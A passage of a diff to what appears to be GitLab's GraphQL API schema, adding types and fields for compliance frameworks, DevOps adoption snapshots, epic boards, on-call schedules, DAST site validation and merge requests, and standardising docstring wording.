- The ID of the user to be assigned to the board.
- """
- assigneeId: String
-
- """
A unique identifier for the client performing the mutation.
"""
clientMutationId: String
@@ -3719,14 +3986,14 @@ input CreateBoardInput {
groupPath: ID
"""
- The IDs of labels to be added to the board.
+ Whether or not backlog list is hidden
"""
- labelIds: [LabelID!]
+ hideBacklogList: Boolean
"""
- The ID of the milestone to be assigned to the board.
+ Whether or not closed list is hidden
"""
- milestoneId: MilestoneID
+ hideClosedList: Boolean
"""
The board name.
@@ -3737,11 +4004,6 @@ input CreateBoardInput {
The project full path the resource is associated with
"""
projectPath: ID
-
- """
- The weight of the board.
- """
- weight: Boolean
}
"""
@@ -3850,6 +4112,56 @@ type CreateClusterAgentPayload {
}
"""
+Autogenerated input type of CreateComplianceFramework
+"""
+input CreateComplianceFrameworkInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Color to represent the compliance framework as a hexadecimal value. e.g. #ABC123.
+ """
+ color: String!
+
+ """
+ Description of the compliance framework.
+ """
+ description: String!
+
+ """
+ Name of the compliance framework.
+ """
+ name: String!
+
+ """
+ Full path of the namespace to add the compliance framework to.
+ """
+ namespacePath: ID!
+}
+
+"""
+Autogenerated return type of CreateComplianceFramework
+"""
+type CreateComplianceFrameworkPayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ The created compliance framework.
+ """
+ framework: ComplianceFramework
+}
+
+"""
Autogenerated input type of CreateCustomEmoji
"""
input CreateCustomEmojiInput {
@@ -3895,6 +4207,46 @@ type CreateCustomEmojiPayload {
}
"""
+Autogenerated input type of CreateDevopsAdoptionSegment
+"""
+input CreateDevopsAdoptionSegmentInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The array of group IDs to set for the segment
+ """
+ groupIds: [GroupID!]
+
+ """
+ Name of the segment
+ """
+ name: String!
+}
+
+"""
+Autogenerated return type of CreateDevopsAdoptionSegment
+"""
+type CreateDevopsAdoptionSegmentPayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ The segment after mutation
+ """
+ segment: DevopsAdoptionSegment
+}
+
+"""
Autogenerated input type of CreateDiffNote
"""
input CreateDiffNoteInput {
@@ -3914,7 +4266,7 @@ input CreateDiffNoteInput {
confidential: Boolean
"""
- The global id of the resource to add a note to
+ The global ID of the resource to add a note to
"""
noteableId: NoteableID!
@@ -4044,7 +4396,7 @@ input CreateImageDiffNoteInput {
confidential: Boolean
"""
- The global id of the resource to add a note to
+ The global ID of the resource to add a note to
"""
noteableId: NoteableID!
@@ -4269,12 +4621,12 @@ input CreateNoteInput {
confidential: Boolean
"""
- The global id of the discussion this note is in reply to
+ The global ID of the discussion this note is in reply to
"""
discussionId: DiscussionID
"""
- The global id of the resource to add a note to
+ The global ID of the resource to add a note to
"""
noteableId: NoteableID!
}
@@ -4623,9 +4975,9 @@ type DastScannerProfile {
editPath: String
"""
- ID of the DAST scanner profile. Deprecated in 13.6: Use `id`
+ ID of the DAST scanner profile Deprecated in 13.6: Use `id`.
"""
- globalId: DastScannerProfileID! @deprecated(reason: "Use `id`. Deprecated in 13.6")
+ globalId: DastScannerProfileID! @deprecated(reason: "Use `id`. Deprecated in 13.6.")
"""
ID of the DAST scanner profile
@@ -4747,9 +5099,9 @@ type DastScannerProfileCreatePayload {
errors: [String!]!
"""
- ID of the scanner profile.. Deprecated in 13.6: Use `id`
+ ID of the scanner profile. Deprecated in 13.6: Use `id`.
"""
- globalId: DastScannerProfileID @deprecated(reason: "Use `id`. Deprecated in 13.6")
+ globalId: DastScannerProfileID @deprecated(reason: "Use `id`. Deprecated in 13.6.")
"""
ID of the scanner profile.
@@ -4899,6 +5251,11 @@ type DastSiteProfile {
id: DastSiteProfileID!
"""
+ Normalized URL of the target to be scanned
+ """
+ normalizedTargetUrl: String
+
+ """
The name of the site profile
"""
profileName: String
@@ -5111,6 +5468,11 @@ enum DastSiteProfileValidationStatusEnum {
INPROGRESS_VALIDATION
"""
+ No site validation exists
+ """
+ NONE
+
+ """
Site validation process finished successfully
"""
PASSED_VALIDATION
@@ -5181,17 +5543,42 @@ Represents a DAST Site Validation
"""
type DastSiteValidation {
"""
- ID of the site validation
+ Global ID of the site validation
"""
id: DastSiteValidationID!
"""
- The status of the validation
+ Normalized URL of the target to be validated
+ """
+ normalizedTargetUrl: String
+
+ """
+ Status of the site validation
"""
status: DastSiteProfileValidationStatusEnum!
}
"""
+The connection type for DastSiteValidation.
+"""
+type DastSiteValidationConnection {
+ """
+ A list of edges.
+ """
+ edges: [DastSiteValidationEdge]
+
+ """
+ A list of nodes.
+ """
+ nodes: [DastSiteValidation]
+
+ """
+ Information to aid in pagination.
+ """
+ pageInfo: PageInfo!
+}
+
+"""
Autogenerated input type of DastSiteValidationCreate
"""
input DastSiteValidationCreateInput {
@@ -5247,6 +5634,21 @@ type DastSiteValidationCreatePayload {
}
"""
+An edge in a connection.
+"""
+type DastSiteValidationEdge {
+ """
+ A cursor for use in pagination.
+ """
+ cursor: String!
+
+ """
+ The item at the end of the edge.
+ """
+ node: DastSiteValidation
+}
+
+"""
Identifier of DastSiteValidation
"""
scalar DastSiteValidationID
@@ -5278,7 +5680,7 @@ input DeleteAnnotationInput {
clientMutationId: String
"""
- The global ID of the annotation to delete
+ Global ID of the annotation to delete
"""
id: MetricsDashboardAnnotationID!
}
@@ -5299,6 +5701,36 @@ type DeleteAnnotationPayload {
}
"""
+Autogenerated input type of DeleteDevopsAdoptionSegment
+"""
+input DeleteDevopsAdoptionSegmentInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ ID of the segment
+ """
+ id: AnalyticsDevopsAdoptionSegmentID!
+}
+
+"""
+Autogenerated return type of DeleteDevopsAdoptionSegment
+"""
+type DeleteDevopsAdoptionSegmentPayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+}
+
+"""
The response from the AdminSidekiqQueuesDeleteJobs mutation
"""
type DeleteJobsResponse {
@@ -5868,7 +6300,7 @@ input DesignManagementDeleteInput {
filenames: [String!]!
"""
- The iid of the issue to modify designs for
+ The IID of the issue to modify designs for
"""
iid: ID!
@@ -5968,7 +6400,7 @@ input DesignManagementUploadInput {
files: [Upload!]!
"""
- The iid of the issue to modify designs for
+ The IID of the issue to modify designs for
"""
iid: ID!
@@ -6234,6 +6666,36 @@ type DestroyBoardPayload {
}
"""
+Autogenerated input type of DestroyComplianceFramework
+"""
+input DestroyComplianceFrameworkInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The global ID of the compliance framework to destroy
+ """
+ id: ComplianceManagementFrameworkID!
+}
+
+"""
+Autogenerated return type of DestroyComplianceFramework
+"""
+type DestroyComplianceFrameworkPayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+}
+
+"""
Autogenerated input type of DestroyContainerRepository
"""
input DestroyContainerRepositoryInput {
@@ -6269,6 +6731,46 @@ type DestroyContainerRepositoryPayload {
}
"""
+Autogenerated input type of DestroyContainerRepositoryTags
+"""
+input DestroyContainerRepositoryTagsInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ ID of the container repository.
+ """
+ id: ContainerRepositoryID!
+
+ """
+ Container repository tag(s) to delete. Total number can't be greater than 20
+ """
+ tagNames: [String!]!
+}
+
+"""
+Autogenerated return type of DestroyContainerRepositoryTags
+"""
+type DestroyContainerRepositoryTagsPayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Deleted container repository tags
+ """
+ deletedTagNames: [String!]!
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+}
+
+"""
Autogenerated input type of DestroyNote
"""
input DestroyNoteInput {
@@ -6278,7 +6780,7 @@ input DestroyNoteInput {
clientMutationId: String
"""
- The global id of the note to destroy
+ The global ID of the note to destroy
"""
id: NoteID!
}
@@ -6313,7 +6815,7 @@ input DestroySnippetInput {
clientMutationId: String
"""
- The global id of the snippet to destroy
+ The global ID of the snippet to destroy
"""
id: SnippetID!
}
@@ -6392,27 +6894,7 @@ type DevopsAdoptionSegment {
"""
Assigned groups
"""
- groups(
- """
- Returns the elements in the list that come after the specified cursor.
- """
- after: String
-
- """
- Returns the elements in the list that come before the specified cursor.
- """
- before: String
-
- """
- Returns the first _n_ elements from the list.
- """
- first: Int
-
- """
- Returns the last _n_ elements from the list.
- """
- last: Int
- ): GroupConnection
+ groups: [Group!]
"""
ID of the segment
@@ -6420,6 +6902,11 @@ type DevopsAdoptionSegment {
id: ID!
"""
+ The latest adoption metrics for the segment
+ """
+ latestSnapshot: DevopsAdoptionSnapshot
+
+ """
Name of the segment
"""
name: String!
@@ -6460,6 +6947,61 @@ type DevopsAdoptionSegmentEdge {
node: DevopsAdoptionSegment
}
+"""
+Snapshot
+"""
+type DevopsAdoptionSnapshot {
+ """
+ At least one deployment succeeded
+ """
+ deploySucceeded: Boolean!
+
+ """
+ The end time for the snapshot where the data points were collected
+ """
+ endTime: Time!
+
+ """
+ At least one issue was opened
+ """
+ issueOpened: Boolean!
+
+ """
+ At least one merge request was approved
+ """
+ mergeRequestApproved: Boolean!
+
+ """
+ At least one merge request was opened
+ """
+ mergeRequestOpened: Boolean!
+
+ """
+ At least one pipeline succeeded
+ """
+ pipelineSucceeded: Boolean!
+
+ """
+ The time the snapshot was recorded
+ """
+ recordedAt: Time!
+
+ """
+ At least one runner was used
+ """
+ runnerConfigured: Boolean!
+
+ """
+ At least one security scan succeeded
+ """
+ securityScanSucceeded: Boolean!
+
+ """
+ The start time for the snapshot where the data points were collected
+ """
+ startTime: Time!
+}
+
input DiffImagePositionInput {
"""
Merge base of the branch the comment was made on
@@ -6792,7 +7334,7 @@ input DiscussionToggleResolveInput {
clientMutationId: String
"""
- The global id of the discussion
+ The global ID of the discussion
"""
id: DiscussionID!
@@ -7048,7 +7590,7 @@ type Epic implements CurrentUserTodos & Noteable {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use timeframe.end
+ date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.
"""
endDate: Time
@@ -7063,7 +7605,7 @@ type Epic implements CurrentUserTodos & Noteable {
iid: ID
"""
- Filter epics by iid for autocomplete
+ Filter epics by IID for autocomplete
"""
iidStartsWith: String
@@ -7104,8 +7646,8 @@ type Epic implements CurrentUserTodos & Noteable {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use
- timeframe.start
+ date is provided, both must be present) Deprecated in 13.5: Use
+ timeframe.start.
"""
startDate: Time
@@ -7476,12 +8018,12 @@ input EpicAddIssueInput {
groupPath: ID!
"""
- The iid of the epic to mutate
+ The IID of the epic to mutate
"""
iid: ID!
"""
- The iid of the issue to be added
+ The IID of the issue to be added
"""
issueIid: String!
@@ -7517,6 +8059,56 @@ type EpicAddIssuePayload {
}
"""
+Represents an epic board
+"""
+type EpicBoard {
+ """
+ Global ID of the board
+ """
+ id: BoardsEpicBoardID!
+
+ """
+ Name of the board
+ """
+ name: String
+}
+
+"""
+The connection type for EpicBoard.
+"""
+type EpicBoardConnection {
+ """
+ A list of edges.
+ """
+ edges: [EpicBoardEdge]
+
+ """
+ A list of nodes.
+ """
+ nodes: [EpicBoard]
+
+ """
+ Information to aid in pagination.
+ """
+ pageInfo: PageInfo!
+}
+
+"""
+An edge in a connection.
+"""
+type EpicBoardEdge {
+ """
+ A cursor for use in pagination.
+ """
+ cursor: String!
+
+ """
+ The item at the end of the edge.
+ """
+ node: EpicBoard
+}
+
+"""
The connection type for Epic.
"""
type EpicConnection {
@@ -7656,12 +8248,12 @@ type EpicIssue implements CurrentUserTodos & Noteable {
author: User!
"""
- Indicates the issue is blocked
+ Indicates the issue is blocked.
"""
blocked: Boolean!
"""
- Count of issues blocking this issue
+ Count of issues blocking this issue.
"""
blockedByCount: Int
@@ -7771,7 +8363,7 @@ type EpicIssue implements CurrentUserTodos & Noteable {
emailsDisabled: Boolean!
"""
- Epic to which this issue belongs
+ Epic to which this issue belongs.
"""
epic: Epic
@@ -7781,7 +8373,7 @@ type EpicIssue implements CurrentUserTodos & Noteable {
epicIssueId: ID!
"""
- Current health status. Returns null if `save_issuable_health_status` feature flag is disabled.
+ Current health status.
"""
healthStatus: HealthStatus
@@ -7806,7 +8398,7 @@ type EpicIssue implements CurrentUserTodos & Noteable {
iid: ID!
"""
- Iteration of the issue
+ Iteration of the issue.
"""
iteration: Iteration
@@ -7836,6 +8428,11 @@ type EpicIssue implements CurrentUserTodos & Noteable {
): LabelConnection
"""
+ Metric images associated to the issue.
+ """
+ metricImages: [MetricImage!]
+
+ """
Milestone of the issue
"""
milestone: Milestone
@@ -7936,7 +8533,7 @@ type EpicIssue implements CurrentUserTodos & Noteable {
state: IssueState!
"""
- Indicates whether an issue is published to the status page
+ Indicates whether an issue is published to the status page.
"""
statusPagePublishedIncident: Boolean
@@ -8016,7 +8613,7 @@ type EpicIssue implements CurrentUserTodos & Noteable {
webUrl: String!
"""
- Weight of the issue
+ Weight of the issue.
"""
weight: Int
}
@@ -8126,7 +8723,7 @@ input EpicSetSubscriptionInput {
groupPath: ID!
"""
- The iid of the epic to mutate
+ The IID of the epic to mutate
"""
iid: ID!
@@ -8210,12 +8807,12 @@ A node of an epic tree.
"""
input EpicTreeNodeFieldsInputType {
"""
- The id of the epic_issue or issue that the actual epic or issue is switched with
+ The ID of the epic_issue or issue that the actual epic or issue is switched with
"""
adjacentReferenceId: EpicTreeSortingID
"""
- The id of the epic_issue or epic that is being moved
+ The ID of the epic_issue or epic that is being moved
"""
id: EpicTreeSortingID!
@@ -8235,7 +8832,7 @@ Autogenerated input type of EpicTreeReorder
"""
input EpicTreeReorderInput {
"""
- The id of the base epic of the tree
+ The ID of the base epic of the tree
"""
baseEpicId: EpicID!
@@ -8285,6 +8882,46 @@ enum EpicWildcardId {
NONE
}
+"""
+Represents an external issue
+"""
+type ExternalIssue {
+ """
+ Timestamp of when the issue was created
+ """
+ createdAt: Time
+
+ """
+ Type of external tracker
+ """
+ externalTracker: String
+
+ """
+ Relative reference of the issue in the external tracker
+ """
+ relativeReference: String
+
+ """
+ Status of the issue in the external tracker
+ """
+ status: String
+
+ """
+ Title of the issue in the external tracker
+ """
+ title: String
+
+ """
+ Timestamp of when the issue was updated
+ """
+ updatedAt: Time
+
+ """
+ URL to the issue in the external tracker
+ """
+ webUrl: String
+}
+
type GeoNode {
"""
The maximum concurrency of container repository sync for this secondary node
@@ -8427,8 +9064,7 @@ type GeoNode {
selectiveSyncType: String
"""
- Find snippet repository registries on this Geo node. Available only when
- feature flag `geo_snippet_repository_replication` is enabled
+ Find snippet repository registries on this Geo node
"""
snippetRepositoryRegistries(
"""
@@ -8597,8 +9233,7 @@ type Group {
): BoardConnection
"""
- Represents the code coverage activity for this group. Available only when
- feature flag `group_coverage_data_report_graph` is enabled
+ Represents the code coverage activity for this group
"""
codeCoverageActivities(
"""
@@ -8628,7 +9263,33 @@ type Group {
): CodeCoverageActivityConnection
"""
- Container repositories of the project
+ Compliance frameworks available to projects in this namespace Available only
+ when feature flag `ff_custom_compliance_frameworks` is enabled.
+ """
+ complianceFrameworks(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+ ): ComplianceFrameworkConnection
+
+ """
+ Container repositories of the group
"""
containerRepositories(
"""
@@ -8658,12 +9319,17 @@ type Group {
): ContainerRepositoryConnection
"""
+ Number of container repositories in the group
+ """
+ containerRepositoriesCount: Int!
+
+ """
Includes at least one project where the repository size exceeds the limit
"""
containsLockedProjects: Boolean!
"""
- Custom emoji within this namespace. Available only when feature flag `custom_emoji` is enabled
+ Custom emoji within this namespace Available only when feature flag `custom_emoji` is enabled.
"""
customEmoji(
"""
@@ -8713,7 +9379,7 @@ type Group {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use timeframe.end
+ date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.
"""
endDate: Time
@@ -8723,7 +9389,7 @@ type Group {
iid: ID
"""
- Filter epics by iid for autocomplete
+ Filter epics by IID for autocomplete
"""
iidStartsWith: String
@@ -8759,8 +9425,8 @@ type Group {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use
- timeframe.start
+ date is provided, both must be present) Deprecated in 13.5: Use
+ timeframe.start.
"""
startDate: Time
@@ -8776,6 +9442,41 @@ type Group {
): Epic
"""
+ Find a single epic board
+ """
+ epicBoard(
+ """
+ Find an epic board by ID
+ """
+ id: BoardsEpicBoardID!
+ ): EpicBoard
+
+ """
+ Find epic boards
+ """
+ epicBoards(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+ ): EpicBoardConnection
+
+ """
Find epics
"""
epics(
@@ -8796,7 +9497,7 @@ type Group {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use timeframe.end
+ date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.
"""
endDate: Time
@@ -8811,7 +9512,7 @@ type Group {
iid: ID
"""
- Filter epics by iid for autocomplete
+ Filter epics by IID for autocomplete
"""
iidStartsWith: String
@@ -8852,8 +9553,8 @@ type Group {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use
- timeframe.start
+ date is provided, both must be present) Deprecated in 13.5: Use
+ timeframe.start.
"""
startDate: Time
@@ -8908,6 +9609,11 @@ type Group {
last: Int
"""
+ Filter members by the given member relations
+ """
+ relations: [GroupMemberRelation!] = [DIRECT, INHERITED]
+
+ """
Search query
"""
search: String
@@ -9074,7 +9780,7 @@ type Group {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use timeframe.end
+ date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.
"""
endDate: Time
@@ -9084,17 +9790,17 @@ type Group {
first: Int
"""
- The ID of the Iteration to look up
+ Global ID of the Iteration to look up.
"""
id: ID
"""
- The internal ID of the Iteration to look up
+ Internal ID of the Iteration to look up.
"""
iid: ID
"""
- Whether to include ancestor iterations. Defaults to true
+ Whether to include ancestor iterations. Defaults to true.
"""
includeAncestors: Boolean
@@ -9105,13 +9811,13 @@ type Group {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use
- timeframe.start
+ date is provided, both must be present) Deprecated in 13.5: Use
+ timeframe.start.
"""
startDate: Time
"""
- Filter iterations by state
+ Filter iterations by state.
"""
state: IterationState
@@ -9121,7 +9827,7 @@ type Group {
timeframe: Timeframe
"""
- Fuzzy search by title
+ Fuzzy search by title.
"""
title: String
): IterationConnection
@@ -9282,7 +9988,7 @@ type Group {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use timeframe.end
+ date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.
"""
endDate: Time
@@ -9313,8 +10019,8 @@ type Group {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use
- timeframe.start
+ date is provided, both must be present) Deprecated in 13.5: Use
+ timeframe.start.
"""
startDate: Time
@@ -9616,7 +10322,7 @@ type Group {
"""
Number of vulnerabilities per severity level, per day, for the projects in the
- group and its subgroups. Deprecated in 13.3: Use `vulnerabilitiesCountByDay`
+ group and its subgroups Deprecated in 13.3: Use `vulnerabilitiesCountByDay`.
"""
vulnerabilitiesCountByDayAndSeverity(
"""
@@ -9648,7 +10354,7 @@ type Group {
First day for which to fetch vulnerability history
"""
startDate: ISO8601Date!
- ): VulnerabilitiesCountByDayAndSeverityConnection @deprecated(reason: "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3")
+ ): VulnerabilitiesCountByDayAndSeverityConnection @deprecated(reason: "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3.")
"""
Represents vulnerable project counts for each grade
@@ -9722,41 +10428,6 @@ type Group {
}
"""
-The connection type for Group.
-"""
-type GroupConnection {
- """
- A list of edges.
- """
- edges: [GroupEdge]
-
- """
- A list of nodes.
- """
- nodes: [Group]
-
- """
- Information to aid in pagination.
- """
- pageInfo: PageInfo!
-}
-
-"""
-An edge in a connection.
-"""
-type GroupEdge {
- """
- A cursor for use in pagination.
- """
- cursor: String!
-
- """
- The item at the end of the edge.
- """
- node: Group
-}
-
-"""
Identifier of Group
"""
scalar GroupID
@@ -9846,6 +10517,26 @@ type GroupMemberEdge {
node: GroupMember
}
+"""
+Group member relation
+"""
+enum GroupMemberRelation {
+ """
+ Descendants members
+ """
+ DESCENDANTS
+
+ """
+ Direct members
+ """
+ DIRECT
+
+ """
+ Inherited members
+ """
+ INHERITED
+}
+
type GroupPermissions {
"""
Indicates the user can perform `read_group` on this resource
@@ -9944,7 +10635,7 @@ input HttpIntegrationDestroyInput {
clientMutationId: String
"""
- The id of the integration to remove
+ The ID of the integration to remove
"""
id: AlertManagementHttpIntegrationID!
}
@@ -9979,7 +10670,7 @@ input HttpIntegrationResetTokenInput {
clientMutationId: String
"""
- The id of the integration to mutate
+ The ID of the integration to mutate
"""
id: AlertManagementHttpIntegrationID!
}
@@ -10019,7 +10710,7 @@ input HttpIntegrationUpdateInput {
clientMutationId: String
"""
- The id of the integration to mutate
+ The ID of the integration to mutate
"""
id: AlertManagementHttpIntegrationID!
@@ -10054,6 +10745,66 @@ An ISO 8601-encoded date
"""
scalar ISO8601Date
+"""
+Describes an incident management on-call schedule
+"""
+type IncidentManagementOncallSchedule {
+ """
+ Description of the on-call schedule
+ """
+ description: String
+
+ """
+ Internal ID of the on-call schedule
+ """
+ iid: ID!
+
+ """
+ Name of the on-call schedule
+ """
+ name: String!
+
+ """
+ Time zone of the on-call schedule
+ """
+ timezone: String!
+}
+
+"""
+The connection type for IncidentManagementOncallSchedule.
+"""
+type IncidentManagementOncallScheduleConnection {
+ """
+ A list of edges.
+ """
+ edges: [IncidentManagementOncallScheduleEdge]
+
+ """
+ A list of nodes.
+ """
+ nodes: [IncidentManagementOncallSchedule]
+
+ """
+ Information to aid in pagination.
+ """
+ pageInfo: PageInfo!
+}
+
+"""
+An edge in a connection.
+"""
+type IncidentManagementOncallScheduleEdge {
+ """
+ A cursor for use in pagination.
+ """
+ cursor: String!
+
+ """
+ The item at the end of the edge.
+ """
+ node: IncidentManagementOncallSchedule
+}
+
type InstanceSecurityDashboard {
"""
Projects selected in Instance Security Dashboard
@@ -10273,12 +11024,12 @@ type Issue implements CurrentUserTodos & Noteable {
author: User!
"""
- Indicates the issue is blocked
+ Indicates the issue is blocked.
"""
blocked: Boolean!
"""
- Count of issues blocking this issue
+ Count of issues blocking this issue.
"""
blockedByCount: Int
@@ -10388,12 +11139,12 @@ type Issue implements CurrentUserTodos & Noteable {
emailsDisabled: Boolean!
"""
- Epic to which this issue belongs
+ Epic to which this issue belongs.
"""
epic: Epic
"""
- Current health status. Returns null if `save_issuable_health_status` feature flag is disabled.
+ Current health status.
"""
healthStatus: HealthStatus
@@ -10418,7 +11169,7 @@ type Issue implements CurrentUserTodos & Noteable {
iid: ID!
"""
- Iteration of the issue
+ Iteration of the issue.
"""
iteration: Iteration
@@ -10448,6 +11199,11 @@ type Issue implements CurrentUserTodos & Noteable {
): LabelConnection
"""
+ Metric images associated to the issue.
+ """
+ metricImages: [MetricImage!]
+
+ """
Milestone of the issue
"""
milestone: Milestone
@@ -10543,7 +11299,7 @@ type Issue implements CurrentUserTodos & Noteable {
state: IssueState!
"""
- Indicates whether an issue is published to the status page
+ Indicates whether an issue is published to the status page.
"""
statusPagePublishedIncident: Boolean
@@ -10623,7 +11379,7 @@ type Issue implements CurrentUserTodos & Noteable {
webUrl: String!
"""
- Weight of the issue
+ Weight of the issue.
"""
weight: Int
}
@@ -11360,22 +12116,22 @@ enum IssueSort {
"""
Created at ascending order
"""
- created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5")
+ created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5.")
"""
Created at descending order
"""
- created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5")
+ created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5.")
"""
Updated at ascending order
"""
- updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5")
+ updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5.")
"""
Updated at descending order
"""
- updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5")
+ updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5.")
}
"""
@@ -11584,6 +12340,11 @@ enum IterationWildcardId {
ANY
"""
+ Current iteration
+ """
+ CURRENT
+
+ """
No iteration is assigned
"""
NONE
@@ -11889,11 +12650,41 @@ input JiraUsersMappingInputType {
gitlabId: Int
"""
- Jira account id of the user
+ Jira account ID of the user
"""
jiraAccountId: String!
}
+enum JobArtifactFileType {
+ ACCESSIBILITY
+ API_FUZZING
+ ARCHIVE
+ BROWSER_PERFORMANCE
+ CLUSTER_APPLICATIONS
+ COBERTURA
+ CODEQUALITY
+ CONTAINER_SCANNING
+ COVERAGE_FUZZING
+ DAST
+ DEPENDENCY_SCANNING
+ DOTENV
+ JUNIT
+ LICENSE_MANAGEMENT
+ LICENSE_SCANNING
+ LOAD_PERFORMANCE
+ LSIF
+ METADATA
+ METRICS
+ METRICS_REFEREE
+ NETWORK_REFEREE
+ PERFORMANCE
+ REQUIREMENTS
+ SAST
+ SECRET_DETECTION
+ TERRAFORM
+ TRACE
+}
+
type Label {
"""
Background color of the label
@@ -12052,7 +12843,7 @@ input MarkAsSpamSnippetInput {
clientMutationId: String
"""
- The global id of the snippet to update
+ The global ID of the snippet to update
"""
id: SnippetID!
}
@@ -12286,11 +13077,41 @@ type MergeRequest implements CurrentUserTodos & Noteable {
autoMergeEnabled: Boolean!
"""
+ Array of available auto merge strategies
+ """
+ availableAutoMergeStrategies: [String!]
+
+ """
Number of commits in the merge request
"""
commitCount: Int
"""
+ Merge request commits excluding merge commits
+ """
+ commitsWithoutMergeCommits(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+ ): CommitConnection
+
+ """
Indicates if the merge request has conflicts
"""
conflicts: Boolean!
@@ -12336,6 +13157,11 @@ type MergeRequest implements CurrentUserTodos & Noteable {
defaultMergeCommitMessage: String
"""
+ Default merge commit message of the merge request with description
+ """
+ defaultMergeCommitMessageWithDescription: String
+
+ """
Description of the merge request (Markdown rendered as HTML for caching)
"""
description: String
@@ -12411,6 +13237,11 @@ type MergeRequest implements CurrentUserTodos & Noteable {
forceRemoveSourceBranch: Boolean
"""
+ Indicates if the merge request has CI
+ """
+ hasCi: Boolean!
+
+ """
The pipeline running on the branch HEAD of the merge request
"""
headPipeline: Pipeline
@@ -12476,11 +13307,20 @@ type MergeRequest implements CurrentUserTodos & Noteable {
mergeStatus: String
"""
+ """
+ mergeTrainsCount: Int
+
+ """
Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS)
"""
mergeWhenPipelineSucceeds: Boolean
"""
+ Indicates if the merge request is mergeable
+ """
+ mergeable: Boolean!
+
+ """
Indicates if all discussions in the merge request have been resolved, allowing the merge request to be merged
"""
mergeableDiscussionsState: Boolean
@@ -12546,7 +13386,8 @@ type MergeRequest implements CurrentUserTodos & Noteable {
): UserConnection
"""
- Pipelines for the merge request
+ Pipelines for the merge request. Note: for performance reasons, no more than
+ the most recent 500 pipelines will be returned.
"""
pipelines(
"""
@@ -12616,6 +13457,11 @@ type MergeRequest implements CurrentUserTodos & Noteable {
): String!
"""
+ Indicates if the merge request is created by @GitLab-Security-Bot.
+ """
+ securityAutoFix: Boolean
+
+ """
Indicates if the merge request will be rebased
"""
shouldBeRebased: Boolean!
@@ -12636,6 +13482,11 @@ type MergeRequest implements CurrentUserTodos & Noteable {
sourceBranchExists: Boolean!
"""
+ Indicates if the source branch is protected
+ """
+ sourceBranchProtected: Boolean!
+
+ """
Source project of the merge request
"""
sourceProject: Project
@@ -12646,6 +13497,11 @@ type MergeRequest implements CurrentUserTodos & Noteable {
sourceProjectId: Int
"""
+ Indicates if squash on merge is enabled
+ """
+ squashOnMerge: Boolean!
+
+ """
State of the merge request
"""
state: MergeRequestState!
@@ -12759,6 +13615,11 @@ type MergeRequestConnection {
Information to aid in pagination.
"""
pageInfo: PageInfo!
+
+ """
+ Total sum of time to merge, in seconds, for the collection of merge requests
+ """
+ totalTimeToMerge: Float
}
"""
